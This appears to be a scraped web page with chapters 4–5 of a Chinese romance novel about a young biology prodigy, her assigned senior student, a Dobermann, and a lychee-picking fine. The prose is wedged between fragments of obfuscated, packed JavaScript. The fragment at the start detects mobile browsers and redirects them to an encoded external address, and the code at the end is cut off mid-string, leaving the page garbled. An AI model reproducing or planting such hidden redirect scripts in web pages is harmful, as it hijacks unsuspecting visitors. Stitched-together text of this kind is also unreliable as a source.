l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222305|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倪旖艰难抬头,伸手搓一下脸,好让自己更清醒一些。 “博士都有相亲活动吧?”倪旖瞅着他估计家境不好,思想较腐朽。 “没,我那室友,妃子,相亲大半年,见了几百号人,都快挖到祖坟,也没选到一个心仪姑娘。”蒋商鉴也没心思细腻到察觉被偷偷贴标签。 倪旖这省人就这样,好客岽安。 社恐的话,在这里就得避免张嘴,因为一个正儿八经的岽安人,不会允许任何一句话掉地上。只要你张嘴,咱今天就得唠个生死局。 “你无意间和异性做过最暧昧的事或一瞬间是怎样的?”倪旖随便整个调查类问卷,路过一条狗都会被她拽起来盘问。 蒋商鉴狐疑道:“……食堂阿姨给我多打了半勺饭。” “……”倪旖被这真诚回答弄折服到无语,幽幽道,“那大学接触最多的异性呢?” “食堂大妈啊。”蒋商鉴实诚道。 倪旖语塞,摸摸脖颈道:“我瞅着一般硕博学姐在实验室素颜看起来特好看,受尽学术熏陶,给人淡淡古典感,不过杀老鼠很快。” 蒋商鉴神情担忧:“娶回家万一吵架直接把头拽掉。” “不考虑生物女?”倪旖抿唇,思索片刻,揪着衣袖磨叽道,“还是有优点的,因为经常刷瓶子而不排斥洗碗;同时,因为经常做实验按步骤,擅长炒菜或者未来快速学习食谱的可能性很高的。” 蒋商鉴果断摇头,仔细纠正:“是擅长炒菜,但绝不愿意洗碗,因为之前洗瓶子洗得够够的了。” “……”倪旖默然,赞同点头,鬼知道她每天甩瓶子要疯掉,洗来洗去。 “师哥,你平时去景点玩吗?”倪旖就一小话唠。 蒋商鉴笑笑道:“没空,一般都在实验室搞研究。” “那我请你去市北玩一圈,你是哪的人?”倪旖鼓囊个饺子还说话呢。 蒋商鉴多少得表示表示,这省真挺热情:“渝庆。” “你简历上写的出生地在场厦?” “……对。”蒋商鉴早该料到。 对啊,和这种家庭接触。 底裤估计都被扒光。 “场厦哪里的?” “你是说哪个医院啊?” “……你真幽默啊。” “哪天我请涮火锅。” 很简单粗暴的客气邀请陈述句。 “哪天?”倪旖真当真。 “……啊?”蒋商鉴就客套。 “吃火锅啊,哪天是哪天?”倪旖就爱较真,眸色清正。 “就……就哪天都没事……”蒋商鉴有点没反应过来,嘴有点拌蒜。 蒋商鉴隐约记得,官方废话中,中国人说“哪天约饭”,谁还追问“哪天是哪天”啊,真不愧是国外回来的,人情世故那是稀烂,便试探:“不然你说哪天……”。 倪旖期待得很,她爱好旅游。 “我国庆回家,你要是有空,我请你去吃火锅?”蒋商鉴敷衍着,心想小姑娘玩心重,过两个月铁定不记得。 “好,你是岽大哪区的?”倪旖点点头,在蒋商鉴面前拿起手机,当着他的面拨打电话。 “暂时是瑙鲁区,开学搬新校区,西海岸新区。” 一声,两声,三声,在第四声的时候电话被接通。 对方像是在知道倪旖打的这一通电话是来做什么的,接通电话也没出声,静静地等着倪旖说话。 “倪箴,就剩钙奶饼干青食牌,需不需要买点吃的恭候你放暑假。”倪旖恹恹地按了按眉心,漫不经心地问。 “姐,你上电视了!”倪箴有点兴奋,只要提到倪旖,他就喜滋滋的。 “嗯。”倪旖脸色微变。 倪旖获奖配图消息最早被人当成本地一桩教育界奇葩猎奇的花边新闻发网上,不过前阶段的天才够够的,刚开始没激起什么水花。 可是倪家公关总监唯恐高考填报那教育敏感时期出事,办了件蠢事——拿钱降热搜想悄悄把这事按下去,先是删贴,之后欲盖弥彰报道其他选手消息。 没想到被倪旖装逼打过脸得罪的竞争选手故意手滑,特欠,以一种营销号方式将倪旖信息用非常哗众取宠的方式传播出来。 搭配撤热搜、删帖子等种种讳莫如深的态度,让莘莘学子以及吃瓜猹们想象力剧增,把这点无关痛痒的屁事发酵得满城风雨,连教育机关都派专门工作人员偷摸着调查,给该事件表面足以定性作弊的官方辟谣解释。 那两天倪旖买个油条来啃都不敢出门,都是保镖去带早餐,被daddy没收手机,不准在线开炮怼那些信口雌黄、满嘴仁义道德的“老师们”。 弟弟不懂情况严峻,她懂。 要不是实打实直接摔各种比赛获奖证书,那些甚嚣尘上的阴阳怪气言论也不会偃旗息鼓,最近倒是得清净。 蒋商鉴想,倪旖也是够倒霉的,全球生物天才数量没有上百也有几十,偏偏她被拍到,然后天天放在火上烤。 引起舆论风波。 一天天活着像开玩笑似的。 像倪旖这种,容易导致慧极必伤,自然得处处谨慎,而非招摇过市,生怕别人捕捉不到她多牛逼。 4. 杜宾 “姐,再不给我加餐,我都被泡面同化。”倪箴言语之间诠释惨相,隔着视频声音都听着歇斯底里。 “一月十几万的商科补习培训机构食堂没那么差。”倪旖懒得再提,便将手机摄像头翻转介绍,“我师哥,蒋商鉴,弟弟打个招呼。” 倪旖偏过头,微微仰头去看蒋商鉴的侧脸,他蹙着眉,眼中情绪难定。 倪旖伸手抓住他撑在桌面的手腕。 轻轻往前扯了两下。 “哥哥好,我是我姐的弟。”倪箴没转过弯,脑子不太灵光地说。 貌似一瞅,也不是女? “我弟。”倪旖指着脑袋,抿嘴微微晃头,示意他这儿不太灵光。 “你好。”蒋商鉴淡定打招呼。 接着,没有解释,又恢复了原状。 倪旖紧接着准备挂断视频电话,想着翘盖之前将果汁递给他,主动递台阶让气氛缓和,虚弱小白花模样道:“师哥,我拧不开。” 蒋商鉴接过果汁拧着,就听着手机里倪旖弟弟幽幽说话:“姐,你拿出打我的劲头来,井盖都能撬开,瓶盖弄不开,你不是闹嘛。” “再说话老子就把那手脚掰折了插狗子里当烧鸡给卖了。”倪旖恨不得掐死弟弟,果断挂断,抬眸时甜甜一笑,接过果汁。 “……”蒋商鉴顿时感慨民间语言的生动活力,想笑又不敢,怕被揍,小声试探,“你语文不好?” “之前不在国内生活,这两年才懂点汉语的。”倪旖熟稔解释。 足有一分钟,对面毫无声响。 倪旖垂眸静静地等待,直到一个微弱的声音出现。 蒋商鉴嘟囔:“你总不能拿英语互相问到长城怎么走吧。” “普通话我还行,就是作文狗屁不通。”倪旖真是实诚。 蒋商鉴敷衍点点头:“高中任务驱动型作文就跟八股文似的,都有固定套路,五段式,总分总,三论点。” “师哥,你喜欢运动吗?”装饰性风扇在头顶慢悠悠地转着,倪旖拎起桌上冰镇果汁喝了一口,整个人懒散地背靠座椅拿出手机看搞笑视频。 “比如?”蒋商鉴声音寡淡,带着一点点鼻音,就显得松松懒懒的。 “马术,网球,橄榄球,滑雪,高尔夫——”倪旖迟顿时把嘴里的话收了回来,笑嘻嘻上下扫视着他,眉头微微皱起,“旱鸭子?” 倪旖被蒋商鉴那看屎都深情的眼看得心脏倏地一缩,下意识退缩。 此刻,一阵凉风吹来。 盆栽小绿植树叶被卷到半空摇摇欲坠,有几片刮来餐桌边。 “……确实不会。”蒋商鉴都快社恐,这小孩唠嗑比村头村尾大妈都牛逼。 蒋商鉴缓慢地闭了一下眼,再睁开的时候正好对上倪旖视线。 讲真的,蒋商鉴最怕碰上这种人,热情得莫名其妙。 他有时挺不爱说话。 莫名封锁。 老虎扑上来,要求助武松都得纠结称呼,你说是,武老师,还是,松哥。 倪旖双眼在灼目光下也不逊色,带一点水渍的唇一开一合:“那不成。” 蒋商鉴抿了抿唇,没说话。 倪旖说一遍:“不成,我教你。” 蒋商鉴在心里说,放的什么屁,你就单纯爱唠嗑,啥都答应。 “你一般有什么娱乐运动,线下,除了手游。”倪旖唠嗑锻炼语言能力,逮个能讲话的人就实验。 偏偏他眼皮都懒得抬,蒋商鉴指尖里夹着暗红多巴胺汤匙,雾气徐徐地上升,温和多情的模样。 “多人运动。”蒋商鉴坐椅子上懒散笑,低头咀嚼,身后刺眼日光将他切割成一个浪荡的、散漫不羁的男人。 倪旖眉梢微挑,淡淡道:“违法的嘛。” 蒋商鉴抬眸又恢复温柔形态,咳嗽一声,也还没明白那潜在意思,打趣道:“不玩大的就合法。” 倪旖决定放下助人情节,尊重他人命运,任由他在法律边缘徘徊,微微抿唇,都不知该如何唠嗑,他这应该额额额……是开玩笑吧。 “下次带你一起。”蒋商鉴逗她。 倪旖瞳孔泛光,连忙摆手拒绝:“不用,不用,不用,不用,你玩开心就好。” “我说的是麻将,”蒋商鉴扶额,眉梢微挑,带点懒散,“你说的是?” “……”倪旖慌乱,怼上那看狗都深情的眼睛,着实让她怀疑,她在他眼里是否跟狗差不多。 “祖师爷袁枚挚严厉吗?”倪旖直接转移话题,起身去冰箱找点果汁,捏着那杯生榨橙汁给他也倒小半杯。 那一刻,周围像是顿时消了声。 蒋商鉴目光像是结了冰,阴冷地,带着重重的郁气。 他抿了抿唇,神色里是毫不掩饰的厌恶和嫌弄。 “……呃……挺和善的。”蒋商鉴忍住吐槽,被抢一作资格刚调整情绪,觉得咸,瞅见那边橙汁也小抿一口。 这句话的意思是,老师是大牛,脾气不好,和学生说话根本不考虑学生感受。 你想学就忍着,不想学就滚蛋。 倪旖装作不懂傻傻点头。 “你父母没推老头微信?”蒋商鉴微微蹙眉。 如果家长能量强大,在高校阶段,例如本硕博,那么他大学教授的微信名片应该是家长转给孩子,提前打好关系。 她家这条件从产房到棺材,估计老早就安排好。 她要不是回国耽误大学入校时间,他怎么可能有机会当她师哥。 蒋商鉴想,倪旖这种,大老板估计抢着要,附加值很高,除却科研熬人,她方方面面都有资源。 资源流动是个循环,它永远不会流出它的圈子,只有你进入它的圈子,社会是个跷跷板,只有正反馈调节。 “过两天我父母带我一块拜访老头。”倪旖被戳破装傻充愣,那模样就难受。 “嗯。”蒋商鉴暗自发笑,“那他就不会把你给小老板。” 倪旖察觉异常:“嗯?” “学阀带队跟江南世家联欢了。”蒋商鉴幽幽道。 小老板多少有点背景。 “谁给你错觉这个二五仔代表学阀了?”倪旖冷脸质问。 “你不是嘛?”蒋商鉴自嘲般笑笑。 “当然不是。师哥,我傍晚想逛超市,买点好吃的,你去不起?”倪旖得跟他搜刮点小道消息,得跟他处成朋友撬开牙关,还不能惹他。 真是烦躁,倪旖感觉自己像洗脚房廉价按摩小姐一样,自己任劳任怨给人捏臭丫子的同时还要不断察言观色考虑客人舒服不舒服,心情如何。 “我这两星期专职陪你玩儿,你说到哪都行。”蒋商鉴唇微微凉意,那生榨橙汁冰镇一晚上多少有些分层。 倪旖点点头,准备玩游戏,便邀请道:“师哥,你玩游戏吗?” 楼下不时断断续续传来华尔兹微弱乐声,倪旖聚精会神地听着,以此来消除沉默间的尴尬。 蒋商鉴正琢磨着怎么跟小姑娘找到共同话题,略带喜悦道:“在steam上玩手游,你玩的什么?” “贪吃蛇。”倪旖说罢,举起那不知道多少年前的老破手机,雪花手机屏幕扭曲着黑白色块构建的蛇。 “……”蒋商鉴扶着额不厚道地嘲笑,喉结上下滚动着,清癯两颊颤着,呵哧呵哧连呼吸都不通畅。 “双卡双待,八星八钻,不仅能够打电话,而且能发短信,甚至可以玩贪吃蛇的高端智能机。羡慕嘛?师哥。”倪旖笑道。 “……”蒋商鉴抿嘴笑。 “而且外壳坚硬,即使车轮轧过都不会损害,专业团队反复现场实验,手机完好无损!超长待机24000小时!”倪旖学着电话销售模样继续道。 蒋商鉴笑眼弯弯,觉得她,真的,真的,很可爱。 倪旖抬手揉了揉脑袋,将衣服的帽子拉起来戴上,随后揭开道:“师哥,你为什么答应学校安排?” “为同学服务义不容辞。”蒋商鉴随意道,实则是丢实验大组大群骰子输了,一个课题组全员果断把人推出来陪小孩玩,剩下人卷天卷地,经常通宵。 “师哥,我待会儿得遛狗,一起去吗?”倪旖顶着一张棺材脸,继续公事公办。 倪旖特不要脸,吃完饭就撒丫子走人,像个大爷一样坐到沙发上玩手机。 手机视频通话铃声响起,不用猜都知道是死小子打来的,他一开口,那声音都劈叉了。 “早上好啊?” 倪旖完全能想象出倪箴那愤怒小鸟模样。 这鸟人,小时候逃课出去玩被逮住,他也是这个表情。 “早上好……好你个大头鬼!为什么要在我吃饭休息时再打来!” 倪旖懒懒打哈切,蜷起身子,像一条迷路小狗,喉咙深处发出安静咕噜。 软绵绵的。 很可爱的小声音。 蒋商鉴扫视那碗筷,心想,这该不会留给我? “倪旖,碗筷需要帮助嘛?”蒋商鉴侧面敲击,试探她情况。 他好歹有点尊严,不能当贴身保姆啊。 蒋商鉴那温和微柔的声音,让人头骨内部仿佛都同频震动,心里痒痒的。 倪旖睫微微颤一下,似两片慌张扑动的翅羽,在眼下投落一片薄透浅色灰影,一只手搭在桌面,手指微微蜷紧了几分,大爷饱了,无事得勾栏听曲。 “谢谢师哥。”倪旖自然使唤随后捧着手机跟弟弟聊天,将客人蒋某某撂下来,“跑哪去啦?不回家?” 简短聊完天,倪旖弯腰点开电视机KTV选项,磨蹭半天选歌曲,自恋地想,她这嗓音甜美,跟小百灵鸟似的,得找合适的乐曲大展宏图。 “介意吗?”倪旖扭头问,手上动作不停,点开歌曲页面。 “……”蒋商鉴看着像是不介意? 倪旖颈上青筋时隐时现,头发还被清早燥热惹湿着,滴下来的水珠微微打湿了纯白校服内衬衣服。 “师哥,你平时听什么类型歌?我瞅瞅有没有,一起嗨。”倪旖在沙发跟跳蚤似的乱蹿,举着话筒晃悠着。 “……”蒋商鉴一愣,缓道,“我不爱听歌。” “……”倪旖精瘦腰身和精巧锁骨露出来,垂眼向下看去,衣裳随着她喘息微微起伏,汗津津冒着热气,彰显出一种难得的野性,乖巧外貌下的野。 倪旖也就客气客气,貌似,他很怕自己,便挑个软妹歌曲,甜甜道:“爱你,翻唱版,送给师哥,略表欢迎。” “……”蒋商鉴鸡皮疙瘩掉一地,猛男撒娇也不过如此,还是轻声鼓掌喝彩。 “有时没生气,故意闹脾气……”倪旖给别人唱歌就认真搞起来,慢慢叙事煽情,时不时瞄蒋商鉴。 快到嗨点,倪旖顿一下,将视线偏转,直接软糯一笑对视,站得笔直,裤子却宽松,布料本该顺垂往下,此刻却微微有些褶皱。 蒋商鉴的坐姿懒散,总喜欢靠着椅背上,带着倦意,旁边就是窗台,几缕阳光落到锁骨处。 “就这样,爱你……” 倪旖越唱越尴尬,这玩意居然还是个情歌,便没再唱,解释道:“预热,送我自己的。” “……”蒋商鉴懒散靠椅背上,眉眼弯弯。 倪旖翻翻歌单,挑个描写友情的,多数都数粤语的,还能接受,但蒋商鉴估计听不懂,得挑个通俗的友情歌。 “这首歌合适,”倪旖咳嗽两声,点击播放键,唱道,“大河向东流,天上的星星参北斗啊……” “……”蒋商鉴都快笑岔气,在沙发上东倒西歪。 倪旖解释:“108好汉,这友情不得坚不可摧,挺合适的。” “……被逼上梁山的友情?”蒋商鉴扶额笑得胸腔微微颤动,反手随手撑着桌面,慵懒的腔调就像春日午后阳光那样暖。 倪旖甚是无语,不说话,关掉电视略表情绪,便赤脚去宠物屋找玩伴。 蒋商鉴笑了半天,一抬眸就见倪旖牵着只成年杜宾犬,狗狗肌肉结实,被毛平滑有光泽,戴项圈和金属嘴套。 这……牵去学校嚎两声估计能吓跑不少小朋友。 这么柔弱一人,居然养这种狗? 遛狗的时候不怕被拽着跑? “你……呃……不怕狗遛你?”蒋商鉴疑惑的眼神 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倪旖闷闷跟着他,垂眸望着蒋商鉴抚摸狗毛,手指修长有力,掌骨分明,白皙细腻到能明显看到淡青色血丝。 摸狗的时候,那么轻昵,比起慵懒到那副吊儿郎当的模样显得专注些,温润又斯文。 好想让他摸摸我的脸啊! 手感应该很好吧? 怪不得妈咪把他直接带到小套房,这颜值,看着真讨人喜欢。 不代表没安全意识,因为有智能家庭监控和报警系统,况且在倪家,一般不会出事情。 倪旖就开始胡思乱想。 “我daddy还总打它,一丁点大就带去KTV撸串社会化训练,很温顺的,就跟我不合而已。”倪旖撑着门壁低头换鞋。 蒋商鉴懒洋洋声音从玄关柜传来,抬眸时懒得随性,话里永远含着浅淡笑意,拖腔带调地:“狗我遛,走吗?” 稀落晦暗晨曦在玄关分割出明暗,蒋商鉴就蹲在那片影子里,身量很高,利落轮廓,又不单薄,挺有力量感。 妈的,活着还不如条狗? 倪旖偷摸着给他个白眼,低头时却微微红了脸,那眼神果真看狗都深情。 蒋商鉴闲闲道:“我那本科朋友婚后就遛狗。每天都发朋友圈炫耀金毛,实则晒老婆,特鸡贼呢。” 有什么微妙在心里缓慢变化着,在刚刚的那句话里,微微地发酵,产生出一些奇异的东西。 倪旖手指无规则地裤腿乱划,心里乱成一片,嘴中却平静地说着:“嗯,那还真挺鸡贼。” “我很像狮子座。”倪旖猛不丁。 “啊?”她这话说得毫不联系上文,蒋商鉴没听明白。 “狮子座,真的挺好懂的。”倪旖自言自语,莫名一阵酸楚感却在内心里反复诵读,像山谷里往返的回声。 “确实,性子直。”蒋商鉴附和两句,准确掌握敷衍精髓,“我室友就是狮子座。” “那挺好,”倪旖吸口气恢复清明心智,瞥见妈妈出来倒水,便朝里面叫嚷,“妈咪,我跟师哥遛弯去。” “好的,宝宝注意安全。”许珊跟老同学聊得合不拢嘴,完全没谈判。 “师哥,咱找个地拍个合照,我平时记录生活,每天都要发朋友圈。”倪旖攥着手机摁着前门锁让狗狗出来。 “行。”蒋商鉴扯着绳子,避免狗狗碰着倪旖,她不咋喜欢狗吐舌。 倪旖注意到小细节,吐槽道:“狗都是妈妈遛,平时狗只跟同类玩。” “……”蒋商鉴莫名被冒犯到。 “宝宝,注意防晒。”许珊叮嘱。 阿姨,您还叫她宝宝,您知道您家这位“宝宝”有多会气人么? 蒋商鉴默默这样想着。 “他很喜欢你。”倪旖看着帅炸天的杜宾,真的是西装暴徒,暴力美学。 “这是美系的?”蒋商鉴问。 倪旖点头道:“家养还得美系,德系不好训练的,但是德系很帅,这是德系,我爸拗好大劲才驯服的。” “因为帅才养?”蒋商鉴很好奇。 倪旖抬眸微微一笑,缓缓解释:“我觉得我性格很像它,很难驯服,但一旦被驯服就会很忠诚、温顺。” 蒋商鉴还是很难将西装暴徒和长相可爱系的倪旖做对比。 倪旖,这简直是萨摩耶。 不说话时她貌似真的挺腼腆的,浅浅一笑时好像怕弧度稍微带劲一点能把对方吓死一样,可遭人心疼。 小区里,严格来说是欧式庄园城堡里,几袋重物被工作人员大叔分两批拎进储藏室里后,那叔站门口用手背擦汗,跟楼上老婆吆喝,让对方帮忙照顾下门,他去送个孩子上学就回来。 蒋商鉴其实挺没见过世面,这山海这沙滩这岛屿……目之所及都是倪旖家,连见到的人类都是她家服务人员,好像隔着一个闹市区里面是大隐隐于市。 倪旖跟别的凑够人数就横穿马路的上班族不同,乖巧站路边等红灯变绿,过马路时还不忘眼观六路耳听八方。 很乖巧的,蒋商鉴突然就觉得。 樱花如云,扑面而来,落英缤纷,层层叠叠的水粉色彩渲染繁华似锦的景象,倪旖攥着他衣角,抬眸示意停下。 “我找人给我记录生活,等着啊。”倪旖侧脸弧度利落,五官却柔美,乌发蓬松披在脑后,身影笔直。 蒋商鉴点点头。 倪旖小跑着找对面躺椅遛狗老太太帮忙,蹲她面前,轻昵说:“鱼奶奶,帮我拍个照呗,就点击这个摁键,看着多拍两张。” 鱼奶奶有点呆滞点点头,就举着手机特稀奇,四周环顾。 倪旖小跑着回去,顺着樱花大道随便溜达,随便一张就行,最好九宫格。 “唉,碰不碰得到?”倪旖玩心顿起,前面垂着一簇樱花团,看着软软得跟猫似的。 蒋商鉴抬手刚要碰。 倪旖抬头,闭眸,用额轻碰上去。 蒋商鉴微愣,笑道:“脑袋够?” 倪旖抬眸,笑得痴傻。 5. 荔枝 一辆墨绿色出租车猛地窜出路口车辆拥挤十字口马路,横冲直撞,引得几辆直行城市公交车接连急停,轮胎磨地面,发出声声刺耳滞涩的“吱吱”声。 警笛声嘈杂响起,一众司机恼怒地将脑袋探出车窗,谩骂声接连响起,蒋商鉴特警惕地拉着倪旖后退两步,往后护着,稍稍远离那疯癫车辆,等那车抛锚才松口气。 “哇偶,速度与激情。”倪旖倒是没劫后余生感,还挺兴奋。 “……”蒋商鉴觉着快习惯这种神鬼莫测的混账话,他迅速松了一口气。 “我去拿手机。”倪旖也开玩笑,真得逃离这是非之地。 “我去。”蒋商鉴怕她虎了吧唧被车撞死,皱眉刚准备走,就被她捉住手腕,她屈起冰凉的手指攥着。 “……我有学生医疗保险。”倪旖脑回路清奇,从小买保险还规规矩矩遵守交通规则,怕被撞死,更怕被撞死得不找赔偿,就算被撞,责任在对方。 常人接触冷物下意识反应都会甩手躲开,然而蒋商鉴却抿唇回眸,揉揉她脑壳,懒懒散散道:“……我也有。” “……”倪旖鬼使神差般动作很轻地动着脑袋,娴熟地蹭了回去,踮脚也揉揉他脑袋,似乎报复似的。 搞得跟生死离别似的,蒋商鉴尴尬笑了笑,嘴角弧度和脸搭配起来,可以给十个一百分。 好帅啊,倪旖想。 倪旖再次褒奖妈咪将他直接带套房里见面,都是颜狗,爱帅哥。 蒋商鉴取回手机递给她。 倪旖微微蹙眉,嘀咕着:“我忘记鱼老太有帕金森病。” “……”蒋商鉴的脑回路不同频。 “录像,我放发朋友圈。”倪旖略微带点嫌弃,神情带了几丝困倦和烦躁,熟练将文字和录像放上,也没使用修剪艺术。 “可以发我一份吗?我想放朋友圈里,介意露脸吗?”蒋商鉴询问。 “不介意。”倪旖偷切小号发他。 俩人散步,蒋商鉴穿着很随意休闲装,一副青春模样,与倪旖极其相衬,慢慢穿行在小商贩吆喝声中,鼻子里时不时被飘来新鲜水果甜腻味道霸占。 蒋商鉴将视频截图打码发送私人朋友圈首页置顶,真的很爱这条帅犬。 倪旖侧目而视,一瞬间无语。 杜宾犬没打码,她则直接消失。 死直男。 倪旖微微一窒息,飘飘道:“我不可以露脸吗?” “……”蒋商鉴秒删朋友圈,修改文案直接置顶。 倪旖一瞅,不知说何为好。 图片标注很是无语。 小师妹(左一)狗(右一) “……” 谁家朋友圈严谨到跟搞学术似的。 妃子:好帅的狗。 妃子:小芦田爱菜等比例放大版。 妃子:好甜美的妹妹啊。 “他是我室友,就那狮子座,爱说瞎话的。”蒋商鉴掐断手机开关键。 “你觉得,他说瞎话?”早晨金色阳光照她头上,倪旖莫名羞涩垂眸看见面前影子,脑袋一圈毛绒绒细发。 “也不是全是瞎话,比如,”蒋商鉴瞅见她期待模样,本想解释,话一转变为逗着玩,“……狗真的很帅。” 倪旖不理他,独自溜达。 这死直男。 蒋商鉴将狗狗牵到草坪一边玩耍,微微抬眸,点进朋友圈,什么也没有。 蒋商鉴再次刷新下界面,仍然空空如也,息了屏幕,继续跟狗玩。 倪旖单独拉黑朋友圈权限,或者,她给的也是小号。蒋商鉴猜测。 死党甄凝,也就是失恋那位,孽畜没睡,秒回:一朵鲜花插在牛粪上。 倪旖随意敲字:说我是鲜花也…… 孽畜:你是牛粪。 孽畜:图片.JPG 倪旖点开图片,俨然是自拍照。 龇牙乐呢。 笑什么笑,再笑把你的牙给掰掉,倪旖垂眸时凶巴巴想道。 倪旖没想太多,就当没注意,好奇到偷偷往下翻他动态。 他昨天发被数据逼疯的玩屎发癫表情包。 他的精神状态有点……美好。 跟杜宾玩了半天,蒋商鉴抬眸微蹙眉,看树枝间那抹纤细身影,长发随意扎起,却因为在树上活动显得有些凌乱,碎发随轻风在空气浮动,利落拽荔枝平添一分柔和的肆意与随性。 一般公园景观树不允许摘荔枝。 蒋商鉴攥着绳就牵着绳拽狗狗走。 倪旖用小腹处衬衫兜荔枝,露出一截白皙小肚子,偷偷摸摸四周瞟一眼,捂着脸颊就朝蒋商鉴跑。 哟,还晓得遮着脸? 蒋商鉴赶紧躲,生怕物业逮人。 最主要的是,他觉得不想让别人晓得,他俩认识。 “师哥,等我。”倪旖跑得贼快,加上那狗牵制住蒋商鉴,物业果真发觉有人摘荔枝吃,握着电击棒追出来,她便古灵精怪躲他胸膛处,死死捂着脸。 “……”蒋商鉴莫名其妙就被连坐,进物业间结账,一颗荔枝处罚一百块,她贪馋摘了八颗。 倪旖装傻卖天真。 “手机还是现金?”物业管理员和善问道,说着将收款码往前推推。 “荔枝八颗,顶多三十,你咣要八百,我还想给你两亿呢?咱得有啊,切合实际嘛,我、没、钱。”倪旖嘴炮响得厉害,咕噜咕噜跟吐机枪子弹似的。 物业管理大婶教育倪旖:“小区公园绿植公共的,能不能有点公德心?” “那公共区域不是大家的嘛?那我不是大家啊。”倪旖巧言慧语忽悠着。 四概念错误三段论。 这小嘴跟抹了蜜似的,贼甜。 “……”管理人员被怼得一愣。 “再说,公园耍猴儿都卖票呢,你还不一定看得着,我免费表演耍猴,给你公园增加创收呢。”倪旖就爱闹人,也不是非得惦记那点荔枝。 “再这样报警了,家长也不看着点小朋友。”物业管理人员只好从蒋商鉴身上找点补偿款。 “得,”倪旖轻眯起眼,语调不起不伏,莫名染上危险味道,“这边公园以及那树还是我爸捐的,吃两颗荔枝还得蹲号子。” “……”物业管理人员都服了她,就因为她,连工作量都增加一番。 倪先生特地叮嘱不要因为倪旖是倪家的就放肆纵容她,就当一般居民对待。 倪旖乖巧的脸上带着明显不耐烦,眉眼间戾气很重,半垂眼皮,倦意未消,看着就像是个不好惹的主。 “……”蒋商鉴微信付款,轻轻拽着装傻充愣版本倪旖出门,淡淡然收回视线,眼眸微垂,“你……呃……” “是的!”倪旖点点头,“……我没素质。” 蒋商鉴眼睫微垂,忽的,轻声笑了。 “心理癖好挺……销魂?”蒋商鉴找不到合适词汇形容 倪旖仿佛从他脸上读到了:这家伙什么B玩意儿,让老子破费—— “……我有病。”倪旖半蹲下来,伸出食指戳了戳蒋商鉴的腰窝,拢了拢四散发丝,垂眸时寂寥,“很久了。” “……” “我妈不知道。” “……” “我特喜欢作奸犯科那种快感。” “……”蒋商鉴那散发温和气息,双眸狭长,眼尾微扬,唇薄而嘴角微微下撇,浅笑模样带着一股子温柔感。 倪旖笑嘻嘻抬眸,眼中半永久倦意仍在,傲气冷漠倒是比平时少了些许,两手伸着:“你抓我去警察局吧。” 她估计是博物馆典藏版永动机,精力旺盛,太能搞事情。蒋商鉴想着。 “其实,”蒋商鉴微微弯腰,神色倦懒,压低了嗓子,磁性的声音像是含着气泡,“……我也有病。” “……” “我特享受那种为虎作伥快感。” “……” 倪旖瞅他时,透过他浅薄眸色,察觉脸以肉眼可见速度变红,直直往下,顺带着连她脖子也变得绯红。 “该吃吃,该喝喝,啥事别往心里搁。”蒋商鉴一副破罐子破摔模样。 “谢谢啊。”倪旖话音明明随意散漫,却不乏礼貌。 蒋商鉴眼睑微阖,视线定在她那截露出来的腰上,提醒:“衣服遮好。” “……我的就是大家的。”倪旖懒倦的模样闲闲地说,把那荔枝随手塞进后面裤兜。 “……”蒋商鉴着实大无语,微微蹙眉,垂眸跟她对视,认真告诉她,“我觉得摘人小区荔枝不好。” 倪旖装作没听见,捏着一颗饱满圆润的荔枝无辜委屈道:“哝——” 蒋商鉴没接受,叹息一声,淡淡道:“这个行为不好。” “可不是付钱了嘛?”倪旖垂头耷拉耳朵,捏一颗荔枝垂在裤腰间微微颤着。 蒋商鉴耐心解释,语气平静带着满满的温柔,怕吓到她似的。 “罚款的目的是不让你摘,而不是卖给你,罚款罚的是你行为的钱,而不是你摘了荔枝的钱,罚完了荔枝也得没收,人也应该拉出来批评。” 倪旖抬眸时似乎还没靠近蒋商鉴都可感觉到真实的烤甜栗子热度,且有一种特殊叫人晕眩的气息,暖乎乎的气息,他的费洛蒙吗? 蒋商鉴看她紧张得手指微微颤着,怕她误会自己居高俯就爱教育人,便温柔开个玩笑:“这个真的天都要塌了,换做我估计当场流汗三斤虚脱而死。” 倪旖刚准备笑,可一抬眸,他温柔说话时总目光不移地笑着看你,你做什么说什么,诳语绮言的,他都笑着完全承受。 “我知道付了账单,享有荔枝,但我的直观感受很不好,放纵是破坏规则的借口?金钱能弥补衰败规则的坏影响?这都是不对的,是嘛?” 蒋商鉴挺会教育学生的,这可能得益于将就职预科班辅导员的职业操守,这得需要操心,大到入党绩点校策团委,小到宿舍纠纷被猫抓了。 “对不起。”倪旖小声呢喃,不敢看他好温柔的眼神。 “那把你摘的荔枝要怎么处置?”蒋商鉴带有引导性沟通。 “还给物业。”倪旖声音更小了。 “不是。”蒋商鉴微微摇头。 倪旖一愣,抬眸有点不解。 蒋商鉴看着她迷迷糊糊小眼神就很好笑,故弄玄虚道:“你给物业,他们也是吃了,那不如你吃掉,我们下次吸取教训就成,好不好?” 倪旖乖乖点头,只是下意识躲避他很赤诚的目光。 倪旖盯着在他脚边的狗,今天跟吃哑药似的莫名乖巧,烦躁浮上眉梢,连狗也看人下饭碟。 “咱仨特像古今知名的组合?”倪旖懒懒掀开眼皮。 蒋商鉴垂眸,微微发愣,没明白,风轻拂过,掺杂青草味气息,阳光落身上,晕染金色轮廓,平添了几分柔和。 倪旖按顺序从狗开始再到蒋商鉴,最后指了指自己,幽幽道:“狗、男、女。” “……” 蒋商鉴觉得她那不是嘴,是兵器。 家里到底比外头凉爽些,几阵风一吹,蒋商鉴红晕褪去,面色越发泛白。 倪旖家还有个黑猫,一回家那猫必定会蹲鞋柜最高层,探头探脑来蹭她。今天来客,都不知藏哪个角落,半天也不见影子。 该不会是死了?倪旖有点担心。 蒋商鉴微微翘着二郎腿,垂眸随口问,“他叫什么名字?” “商商。” “?” 杜宾犬听见名字,不敢叫出声,只能在蒋商鉴腿边乱转。 蒋商鉴蹙眉:“怎么拼?” “你的那个商啊——”倪旖一愣。 “……”蒋商鉴彻底无语,莫名觉得这名字有那么一点儿冒犯到自己。 倪旖看着蒋商鉴那张印刷字体大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 